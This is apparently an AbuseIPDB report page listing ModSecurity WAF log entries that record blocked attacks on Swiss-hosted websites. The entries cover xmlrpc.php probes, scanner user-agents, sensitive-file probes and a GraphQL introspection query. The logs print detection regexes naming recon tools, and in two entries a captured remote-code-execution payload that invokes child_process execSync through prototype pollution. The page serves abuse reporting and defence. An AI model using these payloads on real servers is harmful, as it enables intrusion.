[TueNov0318:09:50.5805172026][security2:error][pid2084294:tid2084537][client37.59.187.20:0]ModSecuri ...
show more[TueNov0318:09:50.5805172026][security2:error][pid2084294:tid2084537][client37.59.187.20:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bhttpx\\\\\\\\b\|\\\\\\\\bnaabu\\\\\\\\b\|\\\\\\\\bffuf\\\\\\\\b\|\\\\\\\\bgobuster\\\\\\\\b\|\\\\\\\\bferoxbuster\\\\\\\\b\|\\\\\\\\bwfuzz\\\\\\\\b\|\\\\\\\\bjaeles\\\\\\\\b\|\\\\\\\\bzgrab2\?\\\\\\\\b\|\\\\\\\\bcommix\\\\\\\\b\|\\\\\\\\bxsstrike\\\\\\\\b\|\\\\\\\\bkiterunner\\\\\\\\b\|\(\?:\^\|[/]\)katana\(\?:/\|\\\\\\\\b\)\|\\\\\\\\bkr/\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"70\"][id\"338800\"][rev\"2\"][msg\"Atomicorp.comWAFRules:Blockedrecon/fuzzUA\"][severity\"CRITICAL\"][hostname\"aid-consultancy.ch\"][uri\"/\"][unique_id\"auoVXt8dvLULI8Oq0A_WLAAAAEU\"]
show less
[TueNov0318:09:00.5435592026][security2:error][pid2084299:tid2084523][client45.138.12.16:0]ModSecuri ...
show more[TueNov0318:09:00.5435592026][security2:error][pid2084299:tid2084523][client45.138.12.16:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"ristrutturazione-case.ch\"][uri\"/\"][unique_id\"auoVLOOwIruFV_8_RCakrQAAARg\"]
show less
[TueNov0318:08:05.2986852026][security2:error][pid1422461:tid1422570][client34.53.223.62:0]ModSecuri ...
show more[TueNov0318:08:05.2986852026][security2:error][pid1422461:tid1422570][client34.53.223.62:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:queryintrospectionquery\?\|__schema\\\\\\\\\?{\?\(\?:querytype\|types\?\)\)\?\\\\\\\\{\"atREQUEST_BODY.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"234\"][id\"344378\"][rev\"2\"][msg\"Atomicorp.comWAFRules:GraphQLInjectionAttackattempt\"][data\"MatchedData:__schema{types{foundwithinREQUEST_BODY:{\\\\x22query\\\\x22:\\\\x22{__schema{types{namefields{nameargs{namedefaultvalue}}}}}\\\\x22}\"][severity\"CRITICAL\"][tag\"SQLi\"][hostname\"chryptofarm.ch\"][uri\"/graphql\"][unique_id\"auoU9cgBdGuDdvYid7ahgAAAARM\"]\,referer:https://chryptofarm.ch
show less
[TueNov0318:08:02.3063292026][security2:error][pid1422457:tid1422513][client136.71.65.120:0]ModSecur ...
show more[TueNov0318:08:02.3063292026][security2:error][pid1422457:tid1422513][client136.71.65.120:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"pytag.ch\"][uri\"/\"][unique_id\"auoU8nPuTVXDe8ubumLO9AAAAJE\"]
show less
[TueNov0318:03:18.8945492026][security2:error][pid1418985:tid1419045][client169.148.0.105:0]ModSecur ...
show more[TueNov0318:03:18.8945492026][security2:error][pid1418985:tid1419045][client169.148.0.105:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"spazi-web-hosting.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoT1iq27Y9aJiR8hsd04AAAAFU\"]
show less
[TueNov0318:03:10.9206712026][security2:error][pid1418991:tid1419078][client119.252.195.200:0]ModSec ...
show more[TueNov0318:03:10.9206712026][security2:error][pid1418991:tid1419078][client119.252.195.200:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"spazi-web-hosting.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTzsW0B6x0wqY4QmPtgAAAAQA\"]
show less
[TueNov0318:03:06.6430442026][security2:error][pid1418989:tid1419123][client3.82.117.125:0]ModSecuri ...
show more[TueNov0318:03:06.6430442026][security2:error][pid1418989:tid1419123][client3.82.117.125:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"areatbroker.ch.136-243-54-122.cpanel.site\"][uri\"/\"][unique_id\"auoTyjncKBN_hRUsUIAyTgAAANI\"]
show less
[TueNov0318:02:46.3445182026][security2:error][pid1418989:tid1419119][client158.140.182.70:0]ModSecu ...
show more[TueNov0318:02:46.3445182026][security2:error][pid1418989:tid1419119][client158.140.182.70:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"spazi-web-hosting.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTtjncKBN_hRUsUIAyPQAAAM8\"]
show less
[TueNov0318:02:26.5926682026][security2:error][pid1418991:tid1419081][client188.119.13.6:0]ModSecuri ...
show more[TueNov0318:02:26.5926682026][security2:error][pid1418991:tid1419081][client188.119.13.6:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"maurokorangraf.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTosW0B6x0wqY4QmPtdQAAAQM\"]
show less
[TueNov0318:02:26.3174422026][security2:error][pid1418987:tid1419060][client106.222.208.156:0]ModSec ...
show more[TueNov0318:02:26.3174422026][security2:error][pid1418987:tid1419060][client106.222.208.156:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"maurokorangraf.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTojGSUCKAOtz56vFcrAAAAIk\"]
show less
[TueNov0318:01:40.3223532026][security2:error][pid2084298:tid2084505][client186.60.186.175:0]ModSecu ...
show more[TueNov0318:01:40.3223532026][security2:error][pid2084298:tid2084505][client186.60.186.175:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"swiss-domain-name.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTdPKmyEWk7CSVVMzYbwAAANI\"]
show less
[TueNov0318:01:02.9451802026][security2:error][pid2084299:tid2084492][client187.193.235.114:0]ModSec ...
show more[TueNov0318:01:02.9451802026][security2:error][pid2084299:tid2084492][client187.193.235.114:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"swiss-domain-name.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTTuOwIruFV_8_RCajzwAAAQc\"]
show less
[TueNov0318:00:52.7568742026][security2:error][pid2084299:tid2084472][client190.114.42.195:0]ModSecu ...
show more[TueNov0318:00:52.7568742026][security2:error][pid2084299:tid2084472][client190.114.42.195:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"swiss-domain-name.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoTROOwIruFV_8_RCajywAAAQU\"]
show less
[TueNov0317:59:32.4512552026][security2:error][pid2068420:tid2068538][client71.6.246.31:0]ModSecurit ...
show more[TueNov0317:59:32.4512552026][security2:error][pid2068420:tid2068538][client71.6.246.31:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"mondo-it.ch\"][uri\"/\"][unique_id\"auoS9L821qbr5JtBC35Y1QAAARA\"]\,referer:http://mondo-it.ch:80
show less
[TueNov0317:55:04.8307482026][security2:error][pid1413694:tid1413705][client5.188.86.234:0]ModSecuri ...
show more[TueNov0317:55:04.8307482026][security2:error][pid1413694:tid1413705][client5.188.86.234:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"domoticaswiss.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoR6OFLhbpCo2RCPNkLRQAAAYE\"]
show less
[TueNov0317:54:59.7225432026][security2:error][pid1410276:tid1410343][client152.42.213.86:0]ModSecur ...
show more[TueNov0317:54:59.7225432026][security2:error][pid1410276:tid1410343][client152.42.213.86:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"xmlrpc\\\\\\\\.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_rules/03_asl_dos.conf\"][line\"65\"][id\"392331\"][rev\"3\"][msg\"Atomicorp.comWAFRules:xmlrpcDOSattack\"][severity\"CRITICAL\"][hostname\"www.restaurantgandria.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoR43FA3WtSWQ7gKspK-wAAAYw\"]
show less
[TueNov0317:53:51.2586882026][security2:error][pid2068420:tid2068495][client71.6.237.4:0]ModSecurity ...
show more[TueNov0317:53:51.2586882026][security2:error][pid2068420:tid2068495][client71.6.237.4:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"fimka-icp.com\"][uri\"/\"][unique_id\"auoRn7821qbr5JtBC35YfAAAAQA\"]
show less
[TueNov0317:53:32.7032162026][security2:error][pid1410280:tid1410389][client35.252.93.32:0]ModSecuri ...
show more[TueNov0317:53:32.7032162026][security2:error][pid1410280:tid1410389][client35.252.93.32:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"www.vg13.ch.136-243-54-122.cpanel.site\"][uri\"/phpinfo.php.bak\"][unique_id\"auoRjBOD-Ro6Za-JdFG1bAAAAgI\"]
show less
[TueNov0317:51:37.1376682026][security2:error][pid1410276:tid1410332][client185.200.116.219:0]ModSec ...
show more[TueNov0317:51:37.1376682026][security2:error][pid1410276:tid1410332][client185.200.116.219:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"ci-ticino.ch\"][uri\"/xmlrpc.php\"][unique_id\"auoRGXFA3WtSWQ7gKspK2wAAAYE\"]
show less
[TueNov0317:51:24.6145572026][security2:error][pid2068420:tid2068534][client68.183.185.148:0]ModSecu ...
show more[TueNov0317:51:24.6145572026][security2:error][pid2068420:tid2068534][client68.183.185.148:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(2037\*4490\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"www.motogiro.com\"][uri\"/wp-content/themes/twentytwentytwo/functions.php\"][unique_id\"auoRDL821qbr5JtBC35YSwAAAQ4\"]
show less
[TueNov0317:50:30.3791442026][security2:error][pid1410280:tid1410401][client35.221.126.157:0]ModSecu ...
show more[TueNov0317:50:30.3791442026][security2:error][pid1410280:tid1410401][client35.221.126.157:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"www.gpwealth.ch.136-243-54-122.cpanel.site\"][uri\"/phpinfo.php.bak\"][unique_id\"auoQ1hOD-Ro6Za-JdFG1RwAAAgg\"]
show less
[TueNov0317:49:05.5259132026][security2:error][pid2068420:tid2068548][client66.228.40.38:0]ModSecuri ...
show more[TueNov0317:49:05.5259132026][security2:error][pid2068420:tid2068548][client66.228.40.38:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"rssolution.ch\"][uri\"/\"][unique_id\"auoQgb821qbr5JtBC35YGAAAARU\"]
show less
[TueNov0317:47:59.0448412026][security2:error][pid1406854:tid1406867][client195.2.78.191:0]ModSecuri ...
show more[TueNov0317:47:59.0448412026][security2:error][pid1406854:tid1406867][client195.2.78.191:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"www.gustotondo.ch\"][uri\"/\"][unique_id\"auoQP0AVUkesX_fvDel2lgAAAAI\"]\,referer:https://www.gustotondo.ch/
show less
[TueNov0317:47:48.7946482026][security2:error][pid2068417:tid2068470][client35.159.80.69:0]ModSecuri ...
show more[TueNov0317:47:48.7946482026][security2:error][pid2068417:tid2068470][client35.159.80.69:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"promo.ticinosystem.ch\"][uri\"/\"][unique_id\"auoQNJckzvbdxSYpD5YjlQAAAFQ\"]
show less
HackingWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.